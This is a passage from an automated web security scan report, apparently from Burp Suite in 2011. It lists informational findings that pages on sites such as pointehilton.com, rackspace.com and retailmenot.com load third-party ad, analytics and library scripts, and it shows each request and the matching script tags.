21.363. http://www.peppernews.eu/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.peppernews.eu
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://tracker.icerocket.com/services/collector.js
http://videos.video-loader.com/sp/798119091292066790328795.js

Request

GET / HTTP/1.1
Host: www.peppernews.eu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:10:56 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=karceondeao8d2ilt1nprqs6k45brt7e; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 75079

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<br><script type="text/javascript" src="http://videos.video-loader.com/sp/798119091292066790328795.js"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
...[SNIP]...

21.364. http://www.pgpi.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pgpi.org
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://oz.valueclick.com/jsmaster

Request

GET / HTTP/1.1
Host: www.pgpi.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:09:21 GMT
Server: Apache
Accept-Ranges: bytes
Content-Length: 4767
Connection: close
Content-Type: text/html

<html>
<head>
<title>The International PGP Home Page</title>
<LINK REL="SHORTCUT ICON" href="/images/icons/favicon.ico">
</head>
<body bgcolor=#FFFFCC text=#000000 link=#0033FF vlink=#990000 alink=#00
...[SNIP]...
</SCRIPT>
<SCRIPT LANGUAGE="Javascript" SRC="http://oz.valueclick.com/jsmaster"></SCRIPT>
...[SNIP]...

21.365. http://www.pointehilton.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pointehilton.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js
http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js
http://ajax.googleapis.com/ajax/libs/prototype/1.6.1.0/prototype.js
http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.2/scriptaculous.js
http://connect.facebook.net/en_US/all.js

Request

GET / HTTP/1.1
Host: www.pointehilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:09:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: CFID=16197155;expires=Mon, 28-Jan-2041 22:09:24 GMT;path=/
Set-Cookie: CFTOKEN=66704047;expires=Mon, 28-Jan-2041 22:09:24 GMT;path=/
Content-Type: text/html; charset=UTF-8
Set-Cookie: BIGipServerIMS-6=773065226.20480.0000; path=/

   <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
<link type="text/css" href="/toolkit/presentation/shell/hpportal/assets/jQuery/jquery-ui.custom.css" rel="stylesheet" >
   <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
   <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js"></script>
...[SNIP]...
</script>

   <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/prototype/1.6.1.0/prototype.js"></script>
   <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/scriptaculous/1.8.2/scriptaculous.js"></script>
...[SNIP]...
<div id="share">
   <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...

21.366. http://www.pointehilton.com/404.cfm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pointehilton.com
Path:	/404.cfm

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js
http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js
http://connect.facebook.net/en_US/all.js

Request

GET /404.cfm HTTP/1.1
Host: www.pointehilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Sat, 05 Feb 2011 22:40:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8

   <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
<link type="text/css" href="/toolkit/presentation/shell/hpportal/assets/jQuery/jquery-ui.custom.css" rel="stylesheet" >
   <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
   <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js"></script>
...[SNIP]...
<div id="share">
   <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...

21.367. http://www.pointehilton.com/awards/index.cfm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pointehilton.com
Path:	/awards/index.cfm

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js
http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js
http://connect.facebook.net/en_US/all.js

Request

GET /awards/index.cfm HTTP/1.1
Host: www.pointehilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:10:56 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8

   <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
<link type="text/css" href="/toolkit/presentation/shell/hpportal/assets/jQuery/jquery-ui.custom.css" rel="stylesheet" >
   <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
   <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js"></script>
...[SNIP]...
<div id="share">
   <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...

21.368. http://www.pointehilton.com/contact/index.cfm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pointehilton.com
Path:	/contact/index.cfm

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js
http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js
http://connect.facebook.net/en_US/all.js

Request

GET /contact/index.cfm HTTP/1.1
Host: www.pointehilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:10:57 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8

   <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
<link type="text/css" href="/toolkit/presentation/shell/hpportal/assets/jQuery/jquery-ui.custom.css" rel="stylesheet" >
   <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
   <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js"></script>
...[SNIP]...
<div id="share">
   <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...

21.369. http://www.pointehilton.com/employment/index.cfm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pointehilton.com
Path:	/employment/index.cfm

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js
http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js
http://connect.facebook.net/en_US/all.js

Request

GET /employment/index.cfm HTTP/1.1
Host: www.pointehilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:10:58 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8

   <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
<link type="text/css" href="/toolkit/presentation/shell/hpportal/assets/jQuery/jquery-ui.custom.css" rel="stylesheet" >
   <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
   <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js"></script>
...[SNIP]...
<div id="share">
   <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...

21.370. http://www.pointehilton.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pointehilton.com
Path:	/favicon.ico

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js
http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js
http://connect.facebook.net/en_US/all.js

Request

GET /favicon.ico HTTP/1.1
Host: www.pointehilton.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=16197269; CFTOKEN=78240628; BIGipServerIMS-6=773065226.20480.0000; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; __utmc=69452433; __utmb=69452433.1.10.1296944075; WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Sat, 05 Feb 2011 22:34:59 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8

   <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
<link type="text/css" href="/toolkit/presentation/shell/hpportal/assets/jQuery/jquery-ui.custom.css" rel="stylesheet" >
   <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
   <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js"></script>
...[SNIP]...
<div id="share">
   <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...

21.371. http://www.pointehilton.com/sitemap/index.cfm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pointehilton.com
Path:	/sitemap/index.cfm

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js
http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js
http://connect.facebook.net/en_US/all.js

Request

GET /sitemap/index.cfm HTTP/1.1
Host: www.pointehilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;

Response

21.372. http://www.pointehilton.com/special-offers/index.cfm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pointehilton.com
Path:	/special-offers/index.cfm

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js
http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js
http://connect.facebook.net/en_US/all.js

Request

GET /special-offers/index.cfm HTTP/1.1
Host: www.pointehilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:10:59 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8

   <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
<link type="text/css" href="/toolkit/presentation/shell/hpportal/assets/jQuery/jquery-ui.custom.css" rel="stylesheet" >
   <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
   <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js"></script>
...[SNIP]...
<div id="share">
   <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...

21.373. http://www.printfriendly.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.printfriendly.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://edge.quantserve.com/quant.js

Request

GET / HTTP/1.1
Host: www.printfriendly.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:10:59 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.14
ETag: "c6f8fdc711acc1571798da5ec77ee756"
X-Runtime: 1
Cache-Control: private, max-age=0, must-revalidate
Content-Length: 6398
Status: 200
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Print Friendly
...[SNIP]...
</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...

21.374. http://www.protopage.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.protopage.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET / HTTP/1.1
Host: www.protopage.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Expires: Sat, 6 May 1995 12:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: im=p; Domain=.protopage.com; Expires=Mon, 06-Feb-2012 16:11:00 GMT; Path=/
Set-Cookie: ipp=protopage/autocreate; Domain=.protopage.com; Expires=Mon, 06-Feb-2012 16:11:00 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Date: Sun, 06 Feb 2011 16:11:00 GMT
Connection: close

 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Pro
...[SNIP]...
</script>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...

21.375. http://www.pusha.se/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pusha.se
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://s.snurra.se/widget.js
http://script.tailsweep.com/js/analytics.js
http://static.pusha.se/266/js/main.js

Request

GET / HTTP/1.1
Host: www.pusha.se
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:11:01 GMT
Server: Apache/2.2.9 (Ubuntu) mod_ssl/2.2.9 OpenSSL/0.9.8g
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Pragma: no-cache
Last-Modified: Sun, 06 Feb 2011 16:11:01 GMT
Set-Cookie: PHPSESSID=a30db15870b299b7745ce9d189a9a26c; path=/; domain=.pusha.se
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 48760

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sv" lang="sv">
<head>

...[SNIP]...
<meta name="description" content="Pusha f.r dina favoritl.nkar." />

   <script type="text/javascript" src="http://static.pusha.se/266/js/main.js"></script>
...[SNIP]...
</script>
       <script type="text/javascript"
       src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
       </script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s.snurra.se/widget.js"></script>
...[SNIP]...
</script><script type='text/javascript' src='http://script.tailsweep.com/js/analytics.js'></script>
...[SNIP]...

21.376. http://www.quantcast.com/p-bdv9UMaVrliL2 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.quantcast.com
Path:	/p-bdv9UMaVrliL2

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js

Request

GET /p-bdv9UMaVrliL2 HTTP/1.1
Host: www.quantcast.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html
Content-Language: en
Date: Sun, 06 Feb 2011 16:11:01 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
</script>

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js"></script>
...[SNIP]...

21.377. http://www.rackspace.com/apps/email_hosting/exchange_hosting/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.rackspace.com
Path:	/apps/email_hosting/exchange_hosting/

Issue detail

The response dynamically includes the following scripts from other domains:

http://munchkin.marketo.net/munchkin.js
http://s7.addthis.com/js/250/addthis_widget.js
http://www.googleadservices.com/pagead/conversion.js

Request

GET /apps/email_hosting/exchange_hosting/ HTTP/1.1
Host: www.rackspace.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: rsea_cust=1; lpUASrackuid=US4da9da571af9d6d58e6c524219e4d7f8; US4da9da571af9d6d58e6c524219e4d7f8_pagecount=1; __utmz=47003812.1296921517.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/8; s_sq=%5B%5BB%5D%5D; s_ppv=5; exp_last_visit=981577072; _mkto_trk=id:045-QRG-025&token:_mch-rackspace.com-1296919121081-29332; chatslidercookie=invitesent; IS_UASrackuid=US4da9da571af9d6d58e6c524219e4d7f8; _vis_opt_s=1%7C; livechat=instantservice; s_cc=true; PHPSESSID=4fd4e850dc445f927d55acdbc1e84403; chatslider=B; __utma=47003812.1362301340.1296919297.1296921517.1297007047.3; __utmc=47003812; exp_last_activity=1296938631; __utmb=47003812.1.10.1297007047; s_pv=rackspaceUS%3Ablog%3Ahome;

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:11:02 GMT
Server: Apache/2.2.16 (EL)
X-Powered-By: PHP/5.2.14
Expires: Sat, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:11:02 GMT
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Set-Cookie: exp_last_visit=1296938631; expires=Mon, 06-Feb-2012 16:11:02 GMT; path=/
Set-Cookie: exp_last_activity=1297026662; expires=Mon, 06-Feb-2012 16:11:02 GMT; path=/
Set-Cookie: exp_tracker=a%3A1%3A%7Bi%3A0%3Bs%3A32%3A%22%2Femail_hosting%2Fexchange_hosting%2F%22%3B%7D; path=/
Connection: close
Content-Length: 51005

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pub=xa-4b1fc467447580fb"></script>
<script src="http://munchkin.marketo.net/munchkin.js" type="text/javascript"></script>
...[SNIP]...

21.378. http://www.retailmenot.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.retailmenot.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://rmncdn.com/js/common-59.js
http://rmncdn.com/js/plugins-04.js

Request

GET / HTTP/1.1
Host: www.retailmenot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:11:14 GMT
Server: Apache/2.0.52 (CentOS)
X-Powered-By: PHP/4.3.9
Expires: Sun, 06 Feb 2011 16:34:37 GMT
Last-Modified: Sun, 06 Feb 2011 15:34:37 GMT
Pragma: public
Cache-Control: max-age=3600
Etag: fa2da427fb3ab837f3fefe5eced074df
X-Cache: hit 0.007
Content-Length: 40403
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
...[SNIP]...


<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript" src="http://rmncdn.com/js/plugins-04.js"></script>
<script type="text/javascript" src="http://rmncdn.com/js/common-59.js"></script>
...[SNIP]...

21.379. http://www.retailmenot.com/out/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.retailmenot.com
Path:	/out/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /out/ HTTP/1.1
Host: www.retailmenot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:11:14 GMT
Server: Apache/2.0.52 (CentOS)
X-Powered-By: PHP/4.3.9
Content-Length: 1712
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
...[SNIP]...
</div>

<script type="text/javascript" src="http://www.google-analytics.com/urchin.js"></script>
...[SNIP]...

21.380. http://www.scare666.com/news/gambar previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.scare666.com
Path:	/news/gambar

Issue detail

The response dynamically includes the following script from another domain:

http://resources.infolinks.com/js/infolinks_main.js

Request

GET /news/gambar HTTP/1.1
Host: www.scare666.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:09:34 GMT
Server: Apache
Last-Modified: Sat, 05 Feb 2011 22:09:34 GMT
Accept-Ranges: bytes
Content-Length: 19155
Cache-Control: max-age=300, must-revalidate
Expires: Sat, 05 Feb 2011 22:14:34 GMT
Vary: Accept-Encoding,Cookie
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"><head profile
...[SNIP]...
</script><script type="text/javascript" src="http://resources.infolinks.com/js/infolinks_main.js"></script>
...[SNIP]...

21.381. http://www.shoppinga.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.shoppinga.de
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://tracker.icerocket.com/services/collector.js

Request

GET / HTTP/1.1
Host: www.shoppinga.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:12:32 GMT
